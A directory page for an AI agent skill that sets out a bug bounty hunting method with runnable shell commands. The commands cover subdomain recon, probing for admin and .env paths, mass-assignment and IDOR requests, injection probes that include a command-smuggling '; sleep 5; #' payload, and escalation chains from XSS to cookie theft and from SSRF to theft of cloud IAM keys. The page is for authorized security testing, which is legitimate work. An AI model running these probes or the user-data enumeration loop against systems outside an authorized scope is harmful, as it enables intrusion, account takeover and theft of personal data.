SuperAPI AI Directory
Partner中文AI newsFavorites
Skillsbug-bounty-methodology

bug-bounty-methodology

Security & auditing

View repository

Updated 10-16 06:04

About this skill

What this skill does

Provides a complete cognitive and operational framework for bug bounty hunting sessions. Combines a 5-phase non-linear workflow (Recon → Map → Discover → Prove → Report) with four thinking domains (Critical, Multi-Perspective, Tactical, Strategic) and developer psychology reversal techniques. Routes decisions about what to test, which tool to use, and how to escalate findings based on phase, target type, and time elapsed.

When to use

  • At the start of any new bug bounty hunting session
  • When switching to a new program or target
  • When feeling stuck or unsure what to do next
  • When a finding has low impact and you want to escalate it
  • When asking "what should I test next?" or "where am I in the process?"
  • When a WAF or filter is blocking your payload and you need a bypass strategy

Prerequisites

  • A valid, authorized bug bounty scope (HackerOne, Bugcrowd, Intigriti, Immunefi, or private program)
  • A proxy tool (Burp Suite or Caido) running and intercepting traffic
  • Two test accounts on the target application (attacker account A, victim account B)
  • No external tools are required — this skill is a cognitive framework

Inputs

Variable Required Description
BB_TARGET Yes Target domain or program name
BB_SCOPE Yes In-scope assets (domains, features, APIs)
BB_SESSION_GOAL Yes One of: Confidentiality, Integrity, Availability, ATO, RCE
BB_VULN_CLASS Yes 1-2 vuln classes to focus on this session (e.g., IDOR, SSRF)
BB_ROUTE Optional wide (breadth-first) or deep (depth-first, default: wide for new targets)
BB_TIME_LIMIT Optional Session time budget in minutes (default: 120)

Workflow

Step 1: Session start — define, select, execute

Before touching any tool, answer these three questions:

# Print your session contract — fill this in before starting
cat <<EOF
SESSION CONTRACT
===============
Target  : ${BB_TARGET}
Goal    : ${BB_SESSION_GOAL}   # One of: Confidentiality / Integrity / ATO / RCE / Availability
Focus   : ${BB_VULN_CLASS}     # 1-2 classes only (e.g., IDOR, SSRF)
Route   : ${BB_ROUTE:-wide}    # wide = many endpoints, deep = one feature thoroughly
Budget  : ${BB_TIME_LIMIT:-120} minutes
EOF

# Route selection guide
# Signal                          -> Route
# New program, first day          -> wide
# Wildcard scope *.target.com     -> wide
# Scope update (new domain added) -> wide
# Main webapp, been here >3 days  -> deep
# Found one interesting subdomain -> deep

Step 2: Recon — maximize attack surface

# Wide approach: subdomain enum -> DNS resolve -> HTTP probe -> tech detection
export TARGET="${BB_TARGET}"

# Passive subdomain enumeration (no detection)
subfinder -d "$TARGET" -silent -o /tmp/subs_passive.txt
cat /tmp/subs_passive.txt | wc -l && echo "subdomains found"

# Resolve and probe live hosts
cat /tmp/subs_passive.txt | httpx -silent -status-code -title -tech-detect \
  -o /tmp/live_hosts.txt
cat /tmp/live_hosts.txt | grep -E "200|301|302" | head -30

# URL harvesting: archives (forgotten endpoints) -> active crawl
echo "$TARGET" | gau --threads 5 --subs 2>/dev/null | tee /tmp/urls_archived.txt | wc -l
katana -u "https://$TARGET" -silent -js-crawl -depth 3 -o /tmp/urls_crawled.txt

# JS file extraction for hidden routes and secrets
cat /tmp/urls_archived.txt /tmp/urls_crawled.txt | grep "\.js$" | sort -u > /tmp/js_files.txt
cat /tmp/js_files.txt | while read url; do
  curl -sk "$url" | jsluice urls 2>/dev/null
done | sort -u | tee /tmp/endpoints_from_js.txt | wc -l
echo "endpoints extracted from JS"

# Developer psychology — check old API versions
curl -sk "https://$TARGET/api/v1/" -o /dev/null -w "v1: %{http_code}\n"
curl -sk "https://$TARGET/api/v2/" -o /dev/null -w "v2: %{http_code}\n"
curl -sk "https://$TARGET/api/v3/" -o /dev/null -w "v3: %{http_code}\n"

Step 3: Map and analyze — understand the application

# Download JS files for static analysis
mkdir -p /tmp/js_analysis
cat /tmp/js_files.txt | head -20 | while read url; do
  filename=$(echo "$url" | md5sum | cut -d' ' -f1).js
  curl -sk "$url" -o "/tmp/js_analysis/$filename"
done

# Find hidden parameters in JS
grep -rh "params\|query\|body\|payload\|data\[" /tmp/js_analysis/ 2>/dev/null \
  | grep -oE '"[a-zA-Z_][a-zA-Z0-9_]{2,30}"' | sort | uniq -c | sort -rn | head -30

# Discover hidden parameters on live endpoints
# (run arjun against interesting endpoints found in Step 2)
arjun -u "https://$TARGET/api/users" --stable 2>/dev/null | grep "Found"

# Check for debug/admin panels (developer psychology: devs forget to remove these)
for path in /admin /administrator /debug /test /staging /dev /api-docs \
            /swagger-ui.html /graphql /.env /config.json /server-status; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$code" != "404" ] && echo "[$code] https://$TARGET$path"
done

# Identify auth model
curl -sk "https://$TARGET/api/me" -H "Authorization: Bearer INVALID" \
  -v 2>&1 | grep -E "HTTP/|www-authenticate|set-cookie|x-auth" | head -10

Step 4: Vulnerability discovery — apply developer psychology

# Developer psychology reversal — what did developers likely forget?
# 1. Sibling endpoints: if /api/admin/users has auth, /api/admin/export probably doesn't
# 2. New features ship fast -> auth checks added to old flow but not new
# 3. Complex flows (coupon + points + refund) have edge case bugs

# Decision flow: what are you testing?
# See REFERENCE.md for the full decision flow routing table (input types to vuln classes).
# ID parameter (user_id, order_id) -> test IDOR (use web-vuln-idor skill)
# URL/webhook input                -> test SSRF (use web-vuln-ssrf skill)
# Price/quantity/coupon            -> test business logic (use web-vuln-business-logic skill)
# Text reflected in page           -> test XSS
# Login/2FA/password reset         -> test auth bypass
# Template/wiki editor             -> test SSTI

# What-If experiments to run
TARGET_URL="https://${BB_TARGET}"

# Test 1: Skip a workflow step
# Normal: GET /checkout -> POST /checkout -> GET /checkout/confirm
# Attack: jump directly to /checkout/confirm
curl -sk -b "session=YOUR_SESSION" "$TARGET_URL/checkout/confirm" \
  -w "\nHTTP: %{http_code}\n" | tail -5

# Test 2: Mass assignment — add unexpected fields to profile update
curl -sk -X PUT "$TARGET_URL/api/user/profile" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"name":"test","role":"admin","is_admin":true,"plan":"enterprise"}' \
  -w "\nHTTP: %{http_code}\n"

# Test 3: HTTP method swap — PUT protected but DELETE not?
curl -sk -X DELETE "$TARGET_URL/api/resource/VICTIM_ID" \
  -H "Authorization: Bearer ATTACKER_TOKEN" \
  -w "\nHTTP: %{http_code}\n"

# Error-based probing to find injection points
for payload in "'" '"' '{{7*7}}' '${7*7}' '; sleep 5; #'; do
  code=$(curl -sk -o /tmp/err_probe.out -w "%{http_code}" \
    "$TARGET_URL/api/search?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")")
  size=$(wc -c < /tmp/err_probe.out)
  echo "[$code|${size}B] payload: $payload"
done

Step 5: Prove and escalate — maximize impact

# Escalation decision by finding type:
# See REFERENCE.md for the full escalation decision tree (finding types to attack chains).
# XSS found          -> steal cookie/token -> session hijack -> ATO
# IDOR found         -> read PII or write data -> chain to ATO
# SSRF found         -> reach cloud metadata -> extract IAM keys -> RCE
# SQLi found         -> extract password hashes -> INTO OUTFILE for webshell

# Minimize attack prerequisites (for severity):
# 0 clicks = Critical
# 1 email click = High
# Requires phishing = Medium

# Prove scale of IDOR (turn Medium into High):
for id in $(seq 1 20); do
  result=$(curl -sk -H "Authorization: Bearer ATTACKER_TOKEN" \
    "https://${BB_TARGET}/api/users/$id" | python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    print(d.get('email','') + ' | ' + d.get('name',''))
except: print('parse error')
")
  echo "ID $id: $result"
done

# A->B signal: same developer made multiple mistakes — hunt 20 min for siblings
# After finding a bug in /api/v1/orders, check:
for endpoint in /api/v1/invoices /api/v1/reports /api/v1/exports \
                /api/v1/admin /api/v1/payments; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer ATTACKER_TOKEN" \
    "https://${BB_TARGET}${endpoint}/VICTIM_ID")
  echo "[$code] $endpoint"
done

Step 6: Time management — rotation rules

Reference: See REFERENCE.md for time-management rotation rules and anti-pattern advice.

# Session timer — print rotation reminders
SESSION_START=$(date +%s)
check_time() {
  local now=$(date +%s)
  local elapsed=$(( (now - SESSION_START) / 60 ))
  echo "Elapsed: ${elapsed} min"
  [ $elapsed -ge 20 ] && echo "20-MIN RULE: Rotate endpoint if no progress"
  [ $elapsed -ge 45 ] && echo "45-MIN RULE: STOP. Rabbit hole detected. Move on."
}
# Call check_time after each testing block
echo "Session started at $(date). Goal: ${BB_SESSION_GOAL}. Focus: ${BB_VULN_CLASS}."

Done when

  • Session goal (Confidentiality / Integrity / ATO / RCE / Availability) is achieved with a reproducible proof of concept
  • Finding is validated: realistic attack conditions, confirmed impact, no false positive
  • HTTP request/response pair is captured in Burp or Caido for the report
  • Business impact is quantified (e.g., "attacker can read PII of all N users")
  • CVSS 3.1 score is calculated and matches the actual demonstrated impact
  • Report is written and submitted to the program platform

Failure modes

Symptom Cause Resolution
No subdomains found Target has no public subdomains or passive sources exhausted Try Google Dorks, GitHub search, Shodan, certificate transparency logs
Every endpoint returns 403 Auth model not understood Re-map auth (tokens, cookies, API keys), check JS for auth flow
WAF blocks all payloads WAF is tuned for common payloads Use wafw00f to identify WAF, then apply vendor-specific bypass techniques
All IDs are UUIDs No predictable IDs to enumerate Find UUID leak source (email invite, shared links, API responses to other endpoints)
Stuck for 45+ minutes Rabbit hole — single parameter consuming all time Hard stop. Rotate to next endpoint. Add to "investigate later" list.
No findings after 10 hours Testing known patterns only Switch from vuln-based to feature-based route: find most complex business flow and audit it
Low-impact findings only Can't escalate alone Find connector gadget: another low-impact bug that chains with the first

Notes

  • Only use against programs where you have explicit authorization. Never test without scope confirmation.
  • Wide vs Deep route is not a permanent choice — reassess every session based on what you found last session.
  • The 20-minute rotation rule prevents rabbit holes: if an endpoint shows no progress in 20 minutes, move to the next.
  • Developer psychology is the highest-leverage mindset: ask "what shortcut would a developer take here?" before every test.
  • Record all "weird but not exploitable" behaviors in session notes — they are future chaining gadgets.
  • Tool routing by phase: passive recon first (no detection), then active (naabu/katana), then targeted exploitation.
  • After finding one bug, apply the A→B signal: the same developer made more mistakes nearby. Hunt siblings for 20 minutes.